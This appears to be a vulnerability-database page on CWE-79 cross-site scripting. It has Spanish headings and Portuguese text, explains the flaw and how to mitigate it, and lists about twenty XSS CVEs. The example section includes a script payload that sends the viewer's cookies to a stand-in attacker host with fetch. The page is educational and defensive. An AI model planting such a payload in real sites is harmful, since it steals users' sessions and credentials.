Fallos del tipo CWE-79

30.169 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-10790MEDIUMAdmin and Site Enhancements (ASE) <= 7.5.1 - Authenticated Stored Cross-Site Scripting via SVGEPSS 0.3%CVE-2024-56299HIGHWordPress Notify Odoo plugin <= 1.0.0 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2024-32570HIGHWordPress Cornerstone plugin <= 0.8.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-3491MEDIUMSchema & Structured Data for WP & AMP <= 1.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via How To and FAQ BlocksEPSS 0.3%CVE-2024-32535HIGHWordPress Access Category Password plugin <= 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47042MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2026-3368HIGHInjection Guard <= 1.2.9 - Unauthenticated Stored Cross-Site Scripting via Query Parameter NameEPSS 0.3%CVE-2025-47055MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-25926HIGHWordPress Widgets Controller plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51593MEDIUMWordPress Курс валют UAH plugin <= 2.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47060MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-67823HIGHA vulnerability in the Multimedia Email component of Mitel MiContact Center Business through 10.2.0.10 and Mitel CX through 1.1.0.1 could alEPSS 0.3%CVE-2024-24801MEDIUMWordPress OWL Carousel Plugin <= 1.4.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-2306MEDIUMRevslider <= 6.6.20 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-46987MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-47011MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-32545HIGHWordPress Canva – Design beautiful blog graphics plugin <= 1.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-25868MEDIUMMiniGal Nano <= 0.3.5 Reflected XSS via dir ParameterEPSS 0.3%CVE-2025-1561HIGHAppPresser – Mobile App Framework <= 4.4.10 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-1692MEDIUMBoldGrid Easy SEO – Simple and Effective SEO <= 1.6.13 - Authenticated(Contributor+) Stored Cross-Site Scripting via Meta DescriptionEPSS 0.3%